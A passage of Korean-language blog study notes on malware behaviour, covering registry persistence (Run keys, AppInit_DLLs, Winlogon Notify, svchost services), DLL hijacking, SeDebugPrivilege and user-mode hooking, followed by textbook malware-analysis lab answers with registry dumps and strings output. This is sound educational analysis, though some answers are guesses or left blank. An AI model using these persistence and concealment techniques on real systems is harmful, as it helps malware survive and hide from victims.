" HKEY_LOCAL_MACHINE\SOFTWARE\Miicrosoft\Windows\CurrentVersion\Run "

이를 확인하는 방법으로 직접 regedit를 통해 찾거나 cmd를 통하여  cmd> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s 와 같이 입력을 하여 확인할 수가 있다.

Applnit_DLLs

악성코드 제작자는 AppInit_DLLs라고 불리는 특별 레지스트리 경로를 통해 자신들의 DLL이 지속적으로 유지되게 할 수 있다. 이 레지스트리는 User32.dll을 로드하는 모든 프로세스에서 로딩하며, 레지스트리에 단순히 추가함으로써 AppInit_Dlls 지속이 가능하게 할 수 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"

대부분의 프로세스는 User32.dll을 로드하며, 이 프로세스 대부분이 AppInit_DLLs도 로드한다. 그렇기에 악성코드 제작자는 일반적으로 개별 프로세스를 목표로 설정하여도 다수의 프로세스에서 로드되므로 악성코드의 페이로드를 실행하기 전에 어떤 프로세스가 DLL을 실행하고 있는지를 확인해야 한다. 이런 확인은 악의적인DLL의 DllMain에서 흔히 수행된다.

Winlogon 알림

멀웨어 코더들은 악성코드가 logon, logoff, startup, shutdown, lock screen 같은 특정 Winlogon 이벤트를 후킹하게 할 수 있다. 이를 통해 심지어 보호 모드에서 악성코드가 로드되게 할 수 있다. 해당 레지스트리 엔트리는 다음 레지스트리키의 Notify 값으로 구성돼 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"

winlogon.exe가 이벤트를 생성할 때 윈도우는 해당 이벤트를 처리할 DLL을 Notify 레지스트리 키에서 확인한다.


SvcHost DLL

모든 서비스는 레지스트리에서 유지되고, 레지스트리에서 삭제되면 해당 서비스는 시작되지 않는다. 악성코드는 종종 윈도우 서비스로 설치되지만, 일반적으로는 실행파일을 사용한다. 악성코드 유지를 위해 svchost.exe에 설치하면 독립형과는 달리 프로세스 목록과 레지스트리를 숨길 수 있다.

svchost.exe는 서비스를 위해 DLL로 실행되는 일반 호스트 프로세스이며, 윈도우 시스템에는 한번에 다수의 svchost.exe가 존재한다. svchost.exe 개별 객체는 개발과 테스트, 서비스 그룹 관리를 쉽게 할 수 있는 서비스 그룹을 포함한다. 해당 그룹은 다음 레지스트리 위치에 정의돼 있다.

""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"


서비스는 레지스트리의 다음 위치에 정의돼 있다.

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName"


윈도우 서비스는 다수의 레지스트리 값을 갖고 있으며, 대다수는 DisplayName과 Description 같은 정보를 포함한다. 악성코드 제작자는 NetWareMan 같이 악성코드를 숨기는데 도움이 되는 값을 설정하기도 한다. 다른 서비스 레지스트리로는 서비스 실행 파일의 위치를 포함하는 ImagePath가 존재한다. svchost.exe DLL는 %Root%\System32\svchost.exe -k GroupName을 담고 있다.

모든 svchost.exe DLL은 ServiceDLL 값을 가진 parameters 키를 가지며, 악성코드 제작자는 악의적인 DLL의 위치를 여기에 설정한다. Parameters 키 아래에 있는 Start 값은 서비스가 언제 시작할지를 결정한다.(악의적인 코드는 일반적으로 시스템이 부팅하는 중에 실행이 되게 설정돼 있다.)

윈도우는 사전 정의된 서비스 그룹을 갖고 있으며, 새로운 그룹을 생성할 경우 쉽게 탐지가 가능하므로 악성코드는 일반적으로 이미 존재하는 그룹에 추가하거나 자주 쓰지않은 서비스를 덮어 쓴다.

Trojanized System Binaries

악성코드를 지속적으로 유지할 수 있는 다른 방법은 시스템 바이너리를 트로이목마화 하는 것이다. 이 기법을 이용해 다음번에 감염된 바이너리가 실행되거나 로드될 때 악성코드가 실행되게 시스템 바이너리의 바이트를 패치한다. 

일반적으로 시스템 바이너리의 엔트리 함수를 패치해 악성코드로 점프하게 조작한다. 악의적인 코드는 실행에 지장이 없게 일부 코드를 덮어 씌우거나 빈 섹션에 추가되므로 삽입된 코드는 일반적으로 악성코드를 로딩하며, 감염된 DLL의 어디에 추가되더라도 정상 동작한다. 해당 코드의 끝에는 정상동작하도록 원래의 코드로 다시 점프한다.

위의 그림은 정상적인 프로그램에 EP를 직접 추가한 부분의 지점으로 변경한 것이다. 이렇게 수정을 한후 코드의 마지막에는 OEP로 점프하도록 하였다. 이 경우 실행에는 아무 이상이 없다. 즉, 다른 악성코드를 넣은 상태에서 정상적인 파일인 것처럼 작동할 수 있다는 것이다.

DLL Load-order Hijacking

DLL 로딩 순서 하이재킹(DLL 하이재킹)은 악서오드 제작자가 레지스트리 수정이나 바이너리를 조작하지 않고 지속적이고 악의적인 DLL을 만들 수 있게 해주는 간단하면서도 은밀한 기법이다. 심지어 이 기법은 윈도우에서 Dll을 로딩할 때와 같이 별도의 악의적인로더를 필요로 하지 않는다.

윈도우 XP에서 DLL을 로딩하기 위한 기본 검색 순서는 다음과 같다.

1. 애플리케이션을 로딩하는 디렉터리

2. 현재 디렉터리

3. 시스템 디렉터리(\Windows\System32와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

4. 16비트 시스템 디렉터리 (...\Windows\System\과 같은)

5. 윈도우 디렉터리(\Windows\와 같은 경로를 얻기 위해 GetSystemDirectory 함수를 사용)

6. PATH 환경 변수에 나열돼 있는 디렉터리

윈도우 XP 이후에는 KnownDLLs 레지스트리 키를 활용하기 때문에 DLL 로딩과정이 생략될 수 있다. KnownDLLs 메커니즘은 보안과 속도를 개선하기 위해 디자인 됐지만, 매우 중요한 DLL 목록만을 제한적으로 담을 수 있다. /System32 디렉터리를 제외한 다른 디렉터리에서 DLL 로딩순서 하이재킹을 할 수 있다. 

아래에 실습을 해보자면 원래의 GEncoder.exe가 import 하는 여러 dll 중에 version.dll이 존재한다. 이 dll이 해당 폴더에 존재하지 않으므로 이는 다른 순서를 통하여 해당 dll을 찾아 로딩되도록 한다.

하지만 아래와 같이 해당 dll을 해당 프로그램이 있는 위치에 만들어 놓는다면 우선 순위에 있는 현재 디렉터리 내에서 먼저 해당 dll을 찾는다. 그렇기에 아래와 같이 해당 dll이 로딩되어 실행이 되었고 이는 원래의 dll에 비하여 아무 내용도 없기에 바로 종료가 된다. 만약 본래의 dll에 악성코드만을 삽입한다면 아래와 같이 그 해당 악의적인 dll이 실행될 것이다.

이렇게 해당 순서에 맞게 해당 DLL을 찾게 되는데 우선 순위에 있는 같은 이름의 다른 dll이 정상적인 Dll인것 처럼 로딩 된다. 이후 악의적인 dll은 시스템의 정상 실행을 위해 원래의 dll을 로딩하도록 한다. 또한 아래와 같이 DLL 하이재킹은 현재에도 나오고 있는 취약점이다.


Privilege Escalation


사용자 대부분은 로컬 관리자로서 실행하며 이는 멀웨어 코더에게 좋은 환경이 된다. 이는 다시 말해 시스템의 관리자 권한을 갖고 있으며, 악성코드가 동일한 권한을 받을 수 있음을 의미 한다. 하지만 사용자가 시스템에서 악성코드를 실행했을 때 관리자 권한을 갖고 있지 않은 경우 악성코드는 일반적으로 모든 권한을 획득하기 위해 권한상을 시도한다.

권한 상승 공격의 주류는 로컬 운영체제에 대한 Exploit 이나 Zero-day 공격으로 알려져있으며, 다수를 메타스플로잇 프레임워크에서 찾을 수 있다. 또한 위에서의 DLL 하이재킹도 권한 상승에 사용할 수 있다. 악의적인 DLL이 위치하는 디렉터리에 대해 사용자가 쓰기 권한이 있고 DLL을 로딩하는 프로세스가 상위 권한으로 실행된다면 악의적인 DLL은 상위 권한을 획득할 수 있다.

Using SeDebugPrivilege

사용자가 실행하는 프로세스는 모든 것에 자유롭게 접근하지 못한다. 예를 들면 원격 프로세스의 TerminateProcess나 CreateRemoteThread 같은 함수를 호출하지 못한다. 악성코드가 이런 함수에 대한 권한을 획득하는 한 방법으로 접근 토큰의 권한에서 SeDebugPrivileage를 활성화한다. 소유자의 접근 권한을 설정하기 위해 보안 설명자(security descriptor)를 사용하며  AdjustTokenPrivileage를 호출해 접근 토큰을 조정할 수 있다.

원래 SeDebugPrivilege 권한은 시스템 레벨의 디버깅을 위한 도구로 만들어졌지만, 악성코드 제작자는 시스템 레벨 프로세스의 모든 권한을 얻기 위해 악용한다.


Covering It's Tracks - User Mode Rootkits


악의적인 행위를 숨기기 위해 사용되는 가장 일반적인 도구는 루트킷이라고 불린다. 루트킷은 다양한 형태를 가질 수 있지만, 대부분은 운영체제의 내부 기능 조작을 통해 동작한다. 일부 루트킷이 사용자 공간 애플리케이션을 조작하기도 하지만, 대부분의 루트킷은 커널을 조작한다. 침입 방지 시스템과 같은 보호 메커니즘이 커널에 설치돼 실행되기 때문이다. 여기선 사용자 레벨에서 후킹하는 방법을 알아보자.

IAT Hooking

IAT 후킹은 로컬 시스템에서 파일, 프로세스, 또는 네트워크 연결을 은닉하는 방법이다. Import Address Table 또는 Export Address Table을 조작한다.

Inline Hooking

인라인 후킹은 임포트된 DLL에 포함된 API 함수 코드를 덮어쓰므로, DLL이 실행을 위해 로딩될 떄까지 기다려야 한다. IAT 후킹은 단순히 포인터만 변경하지만, 인라인 후킹은 실제 함수 코드를 변경한다. 인라인 후킹을 하는 악의적인 루트킷은 정상적인 코드의 시작을 루트킷의 악의적인 코드 실행을 위한 점프하는 코드로 변경한다. 다른 방법으로는 악의적인 코드로 점프하지 않고 원래 코드의 함수를 훼손하거나 변경한다.


Conclusion


여기선 악성코드의 일반적인 능력 일부를 살짝 살펴봤다. 다른 종류의 백도어로 시작해서 악성코드가 인증정보를 훔치는 방법을 살펴봤다. 다음으로 악성 코드가 시스템에서 지속성을 유지하는 여러 가지 방법을 살펴봤다. 마지막으로는 악성코드가 쉽게 탐지되지 안게 자신의 흔적을 감추는 방법을 알아봤다. 이렇게 가장 일반 적인 악성코드의 행위 특성을 살펴봤다. 


참고

http://blog.daum.net/sysnet924/246

http://devanix.tistory.com/307

http://docs.kali.org/downloading/kali-linux-live-usb-persistence

한빛아카데미, 시스템 해킹과 보안, 양대일

https://www.youtube.com/watch?v=4EgYRxeFxbY

http://blog.turbovaccine.com/41

http://www.everyzone.com/service/boancommunication.asp?process_type=view&b_idx=-65&part=&BBS_id=boancommu&page=7&gubun=&keyword=&keyfield=



Lab11-01


1. 악성코드는 무엇을 디스크에 다운로드하는가?

리소스 섹션에 있던 msgina32.dll을 분리한다.


2. 악성코드는 어떻게 지속성을 유지한느가?

Software\Microsoft\Windows NT\CurrentVersion\Winlogon 레지스터에 등록하므로 지속성을 유지시킨다.


3. 악성코드는 어떻게 사용자의 인증정보를 훔치는가?

gina32.dll


4. 악성코드는 훔친 인증정보를 가지고 무엇을 하는가?

??


5. 테스트 환경에서 사용자 인증정보를 얻기 위해 악성코드를 어떻게 사용했는가?



"GinaDLL"="C:\\Documents and Settings\\Administrator\\Desktop\\PracticalMalwareAnalysis-Labs\\Practical Malware Analysis Labs\\BinaryCollection\\Chapter_11L\\msgina32.dll"

Resource Section의 숨겨져 있는 msgina32.dll을 생성


CreateReg,SetReg

CreateFile

LoadLibrary를 통해 resourse 섹션의 dll을 로딩함

MSgina.dll
msutil32.sys
GinaDLL


Lab11-02


Lab11-02.dll에 있는 악성코드를 분석하자. Lab11-02.ini 라는 의심 파일 역시 이 악성코드와 함께 발견됐다고 가정한다.

1. 이 DLL 악성코드에서는 무엇을 Export하는가?

installer

2. rundll32.exe를 이용해 이 악성코드를 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?



3. 악성코드 올바르게 설치하기 위해서는 Lab11-02.ini가 어디에 위치해야 하는가?

C:\Windows\System32\Lab11-02.ini가 위치해야함


4. 이 악성코드는 어떻게 지속성을 유지하는가?

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 

"AppInit_DLLs"="" 

"AppInit_DLLs"="spoolvxx32.dll" 


5. What user-space rootkit technique does this malware employ?

send >> inlinehook


6. 후킹 코드는 무엇을 하는가?


7. 이 악성코드는 어떤 프로세스를 공격하며, 그 이유는 무엇인가?

실행시키는 파일 or OllyDBG을 공격하는것 같다.


8. .ini 파일의 역할은 무엇인가?

디코딩하여 billy@malwareanalysisbook 라는 단어를 추출할 수가 있다.


9. WireShark를 이용해 어떻게 악성코드의 활동을 동적으로 캡처하는가?


CreateToolhelp32Snapshot

RegSetValue

CreateFile, ReadFile, CopyFile

000000003110   000010003110      0   spoolvxx32.dll

0000000030CC   0000100030CC     0   wsock32.dll

000000003130   000010003130       0   AppInit_DLLs
0000000030D8   0000100030D8       0   SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
00000000307C   00001000307C       0   THEBAT.EXE
000000003094    000010003094      0   OUTLOOK.EXE
0000000030AC   0000100030AC      0   MSIMN.EXE



Lab11-03


Lab11-03.exe와 Lab11-03.dll에서 발견되는 악성코드를 분석하자. 분석하는 동안 2개의 파일이 동일한 디렉터리에 있어야 함을 명심하자.

1. 기본 정적분석을 통해 발견할 수 있는 재미있는 분석 단서는 무엇인가?



2. 이 악성코드를 실행하면 어떤일이 일어나는가?

\SYSTEM\ControlSet001\Services\CiSvc\Enum       \SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 

\SYSTEM\ControlSet001\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 

\SYSTEM\CurrentControlSet\Services\CiSvc\Enum] 
"0"="Root\\LEGACY_CISVC\\0000" 
"Count"=dword:00000001 
"NextInstance"=dword:00000001 
  
변화된 값
\SOFTWARE\Classes\Microsoft Internet Mail Message] 
@="Outlook Express Mail Message" 
@="Internet E-Mail Message" 

\SOFTWARE\Classes\Microsoft Internet News Message] 
@="Outlook Express News Message" 
@="Internet News Message" 

System32 폴더에 inet_epar32.dll와 kernel64x.dll를 생성

* 키로깅이 시작된다.


3. Lab11-03.exe은 Lab11-03.dll을 어떻게 영구적으로 설치하는가?

net start cisvc 서비스로 등록하여 유지를 한다.?



4. 악성코드는 어떤 윈도우 시스템 파일을 감염시키는가?

%System32%cisvc.exe


5. Lab11-03.dll은 무엇을 하는가?

뮤텍스를 체크하고 없을 경우 CreateFile 하고 SetFilePointer , 그리고 Keyevent가 있으면 WriteFile이므로 이 dll이 아마 다른곳으로 복사가 되는 것 같다.

폴링방식의 키로거



6. 악성코드는 수집한 데이터를 어디에 저장하는가?

%System32%kernel64x.dll 에 저장한다.


<DLL>

Dll Export : zzz69806582

000000007C91   000010007C91      0   zzz69806582

00000000804C   00001000804C      0   C:\WINDOWS\System32\kernel64x.dll
000000008038   000010008038      0   <SHIFT>     Shit라는 문자열이 있다는건 이 키가 어디에 사용이 된다? 혹은 사용을 감지해야한다.
000000007C82   000010007C82      0   Lab1103dll.dll
000000007554   000010007554      0   dddd, MMMM dd, yyyy
00000000754C   00001000754C      0   H:mm:ss
000000007C06   000010007C06      0   LoadLibraryA
0000000071A4   0000100071A4      0   runtime error 
0000000071B8   0000100071B8      0   TLOSS error
0000000071C8   0000100071C8      0   SING error
0000000071D8   0000100071D8      0   DOMAIN error
00000000745C   00001000745C      0   Runtime Error!
00000000746C   00001000746C      0   Program: 
000000007830   000010007830      0   CreateMutexA
000000007840   000010007840      0   OpenMutexA


<EXE>
0000000091B8   0000004091B8      0   C:\WINDOWS\System32\inet_epar32.dll
000000009184   000000409184      0   C:\WINDOWS\System32\%s
00000000919C   00000040919C      0   cisvc.exe
000000009174   000000409174      0   net start cisvc   서비스를 실행
0000000086E4   0000004086E4      0   CopyFileA       해당 dll을 다른 곳으로 복사를 한다. 예상으로는 inet_epar32.dll로 예상
0000000086D6   0000004086D6      0   CreateFileA     특정 파일의 존재여부를 확인
00000000821C   00000040821C      0   DOMAIN error
00000000820C   00000040820C      0   SING error
0000000081FC   0000004081FC      0   TLOSS error
0000000081E8   0000004081E8      0   runtime error 
0000000080F0   0000004080F0      0   command.com
0000000080E8   0000004080E8      0   cmd.exe
000000008100   000000408100      0   COMSPEC














'Reversing > Theory' 카테고리의 다른 글

데이터 인코딩  (0) 2015.08.26
위장 악성코드 실행  (1) 2015.08.24
Code Virtualized - 코드 가상화 참고자료  (0) 2015.08.17
Practical Malware Analysis - 1  (0) 2015.07.31
x86 Instruction Set Reference  (0) 2015.07.29

'Reversing > Theory' 카테고리의 다른 글

위장 악성코드 실행  (1) 2015.08.24
Malware Behavior ( 악성코드의 행위 특성 )  (0) 2015.08.20
Practical Malware Analysis - 1  (0) 2015.07.31
x86 Instruction Set Reference  (0) 2015.07.29
RVA to RAW 쉽게 생각해보기  (1) 2015.03.20

B A S I C  S T A T I C  T E C H N I Q U E S



- Antivirus Scanning: A Useful First Step

- Hashing: A Fingerprint for Malware    

C:\>md5deep c:\WINDOWS\system32\sol.exe

373e7a863a1a345c60edb9e20ec3231 c:\WINDOWS\system32\sol.exe

- Finding Strings

ASCII strings use 1 byte per character, and Unicode uses 2 bytes per character.

But those bytes may not actually represent that string; they could be a memory address, CPU instructions, or data used by the program

- Packed and Obfuscated Malware

If upon searching a program with Strings, you find that it has only a few strings, it is probably either obfuscated or packed, suggesting that it may be malicious

Packed and obfuscated code will often include at least the functions LoadLibrary and GetProcAddress, which are used to load and gain access to additional functions

- Portable Executable File Format

the format of a file can reveal a lot about the program’s functionality.

- Linked Libraries and Functions

Knowing how the library code is linked is critical to our understanding of malware because the information we can find in the PE file header depends on how the library code has been linked.

Static, Runtime, and Dynamic Linking

Exploring Dynamically Linked Functions with Dependency Walker

Imported Functions

Exported Functions

EXEs are not designed to provide functionality for other EXEs, and exported functions are rare. If you discover exports in an executable, they often will provide useful information.

- Static Analysis in Practice

- The PE File Headers and Sections

Executable Description

.text Contains the executable code

.rdata Holds read-only data that is globally accessible within the program

.data Stores global data accessed throughout the program

.idata Sometimes present and stores the import function information; if this section is

not present, the import function information is stored in the .rdata section

.edata Sometimes present and stores the export function information; if this section is not

present, the export function information is stored in the .rdata section

.pdata Present only in 64-bit executables and stores exception-handling information

.rsrc Stores resources needed by the executable

.reloc Contains information for relocation of library files

The section sizes can be useful in detecting packed executables. For example, if the Virtual Size is much larger than the Size of Raw Data, you know that the section takes up more space in memory than it does on disk. This is often indicative of packed code, particularly if the .text section is larger in memory than on disk. This tells us that a packer will unpack the executable code to the allocated .text section.



Lab01-1.exe


Lab 1-1

This lab uses the files Lab01-01.exe and Lab01-01.dll. Use the tools and techniques described in the chapter to gain information about the files and answer the questions below.

Questions

1. Upload the files to http://www.VirusTotal.com/ and view the reports. Does either file match any existing antivirus signatures?

2. When were these files compiled?

3. Are there any indications that either of these files is packed or obfuscated? If so, what are these indicators?

4. Do any imports hint at what this malware does? If so, which imports are they?

CreateProcess를 통하여 새로운 프로세스를 만드는 것을 확인 할 수가 있으며 WS2_32.dll은 Networking을 하기 위하여 필요한 dll로써 다른 곳과 연결을 할려는 것을 알 수가 있다.

문자열을 확인해보면 특정한 주소가 있는 것을 확인할 수가 있고, 이 주소와 네트워킹을 하려한다는 것을 알 수가 있다.


FindFirstFile과 FindNextFile을 통하여 특정한 이름의 파일을 찾는 과정과 CreateFile과 CopyFile을 통하여 특정한 파일에 어떠한 작업을 하는 것을 예상 할 수가 있다.

아래와 같이 C:\windows\system32\kernel132.dll과 작업을 할려는 것을 확인 할 수가 있고, 아래와 같이 Lab01-01.dll과도 직접적으로 관련이 있는 것을 확인 할 수가 있다.


5. Are there any other files or host-based indicators that you could look for on infected systems?

.EXE의 CreateFile, CopyFile, FindFirstFile, FindNextFile과 같은 함수를 통하여 확인을 할 수가 있다. C:\Windows\System32\kerne132.dll 과 직접적으로 관련이 있다는 것 또한 우리는 문자열을 통하여 알 수 있다.


6. What network-based indicators could be used to find this malware on infected machines?

.dll의 WS2_32.dll의 모든 내용이 Network와 관련이 되어 있기에 이를 통해서 알 수가 있다. 또한 문자열을 확인하였을때 IP주소가 존재하는 것까지 확인을 할 수 있다.


7. What would you guess is the purpose of these files?

The .dll file is probably a backdoor. The .exe file is used to install or runthe DLL.


Detailed Analysis

To answer the first question, we upload the file to VirusTotal.com, which performs

a scan against antivirus signatures.

Next, we open the files in PEview. For each file, we navigate to the

IMAGE_NT_HEADERSIMAGE_FILE_HEADERTime Date Stamp field,

which tells us the compile time. Both files were compiled on December 19,

2010, within 1 minute of each other. This confirms our suspicions that these

files are part of the same package. In fact, a compile time that close strongly

suggests that these files were created at the same time by the same author.

We know that the files are related because of the compile times and where

they were found. It’s likely that the .exe will use or install the .dll, because

DLLs cannot run on their own.

Then we check to see if either file is packed. Both files have small but

reasonable numbers of imports and well-formed sections with appropriate

sizes. PEiD labels this as unpacked code compiled with Microsoft Visual C++,

which tells us that these files are not packed. The fact that the files have

few imports tells us that they are likely small programs. Notice that the DLL

file has no exports, which is abnormal, but not indicative of the file being

packed. (You will learn more about this export section when we return to

these files in Lab 7-3.)

Next, we look at the files’ imports and strings beginning with the .exe. All

of the imports from msvcrt.dll are functions that are included in nearly every

executable as part of the wrapper code added by the compiler.

When we look at the imports from kernel32.dll, we see functions for

opening and manipulating files, as well as the functions FindFirstFile and

FindNextFile. These functions tell us that the malware searches through the

filesystem, and that it can open and modify files. We can’t be sure what the

program is searching for, but the .exe string suggests that it is searching for

executables on the victim’s system.

We also see the strings C:\Windows\System32\Kernel32.dll and C:\windows\

system32\kerne132.dll. (Notice the change from the letter l to the number 1

in kernel32.dll.) The file kerne132.dll is clearly meant to disguise itself as the

Windows kernel32.dll file. The file kerne132.dll can serve as a host-based indicator

to locate infections, and it is one that we should analyze for malicious code.

Next, we look at the imports and strings for Lab01-01.dll, which imports

functions from WS2_32.dll. Because these functions are imported by ordinal,

we don’t know which functions are being imported. We also see two interesting

functions imported from kernel32.dll: CreateProcess and Sleep, which are

commonly used as backdoors. These functions are particularly interesting to

us in combination with the strings exec and sleep. The exec string is probably

sent over the network to command the backdoor to run a program with

CreateProcess. The sleep string is probably used to command the backdoor

program to sleep. (This malware is complex. We’ll return to it in Lab 7-3,

once we have covered the skills to analyze it fully.)





Lab01-2.exe


Lab 1-2

Analyze the file Lab01-02.exe.

Questions

1. Upload the Lab01-02.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

PEView로 확인을 했을때 UPX 섹션이 존재하기도하며 이에 더해 첫번째 UPX 섹션의 경우 SizeOfRawData가 0으로써 언패킹 과정 중에 그곳에 Instruction이 쓰이는 것으로 예상된다.


3. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?

우선 패킹이 되어있을때는 프로그램이 실행되면서 실행압축된 것을 해제 할때 LoadLibrary를 사용하므로 인하여 저곳에 존재하고 있는 것을 확인 할 수가 있다. 그리고 언패킹 후에는 ADVAPI32.dll에서 CreateServiceA라고 되어있는데, 이 dll은 주로 Registry나 서비스를 제어할때 쓰는 dll 이므로 CreateService는SCM에 새로운 서비스를 등록한다는 것으로 예상이 된다. 여기서 내 예상으로는 아마 자동실행에 등록을 하지 않을까 싶다.( 물론 아닐 확률도 높음 )

그리고 WININT.dll 보면 InternetOpen과 InternetOpenUrl을 볼수가 있는데, 이는 특정 사이트를 여는 것이다. 구체적인 사이트는 두번째 사진에서와 같이 www.malwareanalysis.com으로 연결이 될 것이라 예상할 수가 있다.


4. What host- or network-based indicators could be used to identify this malware on infected machines?

만약 레지스트리에 등록하는 것이 맞다면 host-based에도 포함이 되고 그렇지 않다면 Network-based에만 포함이 된다. 


Detailed Analysis

When analyzing Lab 1-2, we upload the file to VirusTotal.com and see that it

matches at least three virus signatures. One antivirus engine identifies it as a

malicious downloader that downloads additional malware; the other two identify

it as packed malware. This demonstrates the usefulness of VirusTotal.com.

Had we used only one antivirus program to scan this file, we would probably

not get any information.

Upon opening the file with PEview, several indicators tell us that this

file is packed. The most obvious indicators are sections named UPX0, UPX1,

and UPX2—section names for UPX-packed malware. We could use PEiD to

confirm the file’s packed nature, but it is not foolproof. Even if PEiD fails

to identify the file as UPX-packed, notice the relatively small number of

imports and that the first section, UPX0, has a virtual size of 0x4000 but a raw

data size of 0. UPX0 is the largest section, and it’s marked executable, so it’s

probably where the original unpacked code belongs.

 Having identified the program as packed, we can unpack it by downloading

UPX from http://upx.sourceforge.net/ and running the following command:

upx -o newFilename -d originalFilename

The -d option says decompress the file, and the -o option specifies the

output filename.

After unpacking, we look at the imports sections and the strings. The

imports from kernel32.dll and msvcrt.dll are imported by nearly every program,

so they tell us little about this specific program. The imports from wininet.dll

tell us that this code connects to the Internet (InternetOpen and InternetOpenURL),

and the import from advapi32.dll (CreateService) tell us that the code creates a

service. When we look at the strings, we see www.malwareanalysisbook.com, which

is probably the URL opened by InternetOpenURL as well as by Malservice, which

could be the name of the service that is created.

We can’t be sure what this program is doing, but we’ve found some indicators

to help search for this malware across a network.




Lab01-3.exe


Lab 1-3

Analyze the file Lab01-03.exe.

Questions

1. Upload the Lab01-03.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.



3. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?

패킹이 FSG 1.0으로 되어있기에 언패킹 툴을 구하지 못하였다. 따라서 Manual Unpack을 하였는데 언패킹 후에 아래와 같이 dll이 확인이 되는 것을 볼 수가 있다.


4. What host- or network-based indicators could be used to identify this malware on infected machines?

프로그램을 실행할 경우 아래와 같이 해당 사이트로 연결이 되는 것을 확인 할 수가 있다. 이는 네트워크에 기반했음을 알수가 있다.


Manual Unpack



Detailed Analysis

For the file Lab01-03.exe, VirusTotal.com reports a variety of different signatures

with vague-sounding names. The most common signature is that of a

file packed with the FSG packer.

When we open the file in PEview, we see several indications that the file

is packed. The first is that the file sections have no names. Next, we see that

the first section has a virtual size of 0x3000, but a raw data size of 0. We run

PEiD to confirm, and it identifies the packer as FSG 1.0 -> dulek/xt.

To confirm that the file is packed, we search for the imports, but there

doesn’t seem to be an import table. An executable file without an import

table is extremely rare, and its absence tells us that we should try another

tool, because PEview is having trouble processing this file.

We open the file with Dependency Walker, and see that it does have an

import table, but it imports only two functions: LoadLibrary and GetProcAddress.

Packed files often import only these two functions, which further indicate

that this file is packed. We can try to unpack the file using UPX, but we

know that the file is packed with FSG, rather than UPX. We’ll return to this

file in Chapter 18, once we have covered the skills to unpack it.



Lab01-4.exe


Lab 1-4

Analyze the file Lab01-04.exe.

Questions

1. Upload the Lab01-04.exe file to http://www.VirusTotal.com/. Does it match any existing antivirus definitions?

2. Are there any indications that this file is packed or obfuscated? If so, what are these indicators? If the file is packed, unpack it if possible.

3. When was this program compiled?

4. Do any imports hint at this program’s functionality? If so, which imports are they and what do they tell you?

아래에서와 같이 ADVAPI32.DLL을 통하여 권한에 대하여 어떠한 작업을 하려고 한다. 또한 CreateFile, WriteFile, 등을 통하여 특정 파일을 생성을 하고 WinExec 함수를 통하여 그 파일을 실행 시키려고 하는 것 같다.

이뿐만 아니라 Resource와 관련된 함수또한 존재하는데 이는 Resource 부분에서 무엇인가를 가져온다는 것이다. 

5. What host- or network-based indicators could be used to identify this malware on infected machines?

우선 권한을 변경한 뒤에 System32\wupdmgrd.exe라는 파일을 생성하거나 실행할 것이라 예상할 수가 있다. 이를 통해 우리는 호스트 기반이라는 것을 확인 할 수가 있었다. 하지만 문자열을 보면 도메인주소가 존재하는 것을 확인할 수가 있다. 하지만 위에서 봤듯이 네트워킹과 관련된 함수는 존재하지 않았다.

여기서 우리는 위에서 리소스를 다루는 함수가 있었다는 것을 상기해야한다. 즉 리소스 섹션에 무엇인가가 숨겨져 있을수도 있다는 것이다.


6. This file has one resource in the resource section. Use Resource Hacker to examine that resource, and then use it to extract the resource. What can you learn from the resource?

Resource Hacker를 통하여 해당 File을 열어보면 PE 구조의 첫 시작부분부터 존재하는 것을 확인 할 수가 있다. 이것이 처음에는 파일을 잘못 인식한줄 알았지만 알고보니 저 부분 자체가 하나의 다른 파일이였던 것이다. 아래의 사진과 같이 Action > Save resource를 통하여 저장을 해보자.


이렇게 나온 파일을 우리는 PEView를 통하여 열어보면 네트워킹을 하는 함수를 발견할 수가 있다. 이러한 방식은 실제 멀웨어에서 이용되는 방식이므로 잊지 말자.



Detailed Analysis

For the Lab01-04.exe file, the results from VirusTotal.com suggest a program

related to a downloader. PEview gives no indication that the file is packed

or obfuscated.

The imports from advapi32.dll tell us that program does something

with permissions, and we can assume that it tries to access protected files

using special permissions. The imports from kernel32.dll tell us that the program

loads data from the resource section (LoadResource, FindResource, and

SizeOfResource), writes a file to disk (CreateFile and WriteFile), and executes

a file on the disk (WinExec). We can also guess that the program writes files

to the system directory because of the calls to GetWindowsDirectory.

Examining the strings, we see www.malwareanalysisbok.com/updater.exe,

which is probably the location that holds the malicious code for download.

We also see the string \system32\wupdmgr.exe, which, in combination with

the call to GetWindowsDirectory, suggests that a file in C:\Windows\System32\

wupdmgr.exe is created or edited by this malware.

We now know with some confidence that this malicious file downloads

new malware. We know where it downloads the malware from, and we can

guess where it stores the downloaded malware. The only thing that’s odd is

that the program doesn’t appear to access any network functions.

  The most interesting part of this malware is the resource section. When

we open this malware in Resource Hacker, we see one resource. Resource

Hacker identifies the type of the resource as binary, meaning arbitrary binary

data, and when we look at the data, most of it is meaningless. But notice the

string !This program cannot be run in DOS mode. This string is the error message

included in the DOS header at the beginning of all PE files. We can therefore

conclude that this resource is an additional executable file stored in the

resource section of Lab01-04.exe. This is a fairly common technique used in

malware.

To continue analyzing this file with Resource Hacker, we click Action

Save resource as binary file. After saving the resource, we open the file in

PEview to analyze the file embedded within it. Looking at the imports, we see

that the embedded file is the one that accesses the network functions. It calls

URLDownloadToFile, a function commonly used by malicious downloaders. It

also calls WinExec, which probably executes the downloaded file.





'Reversing > CodeEngn' 카테고리의 다른 글

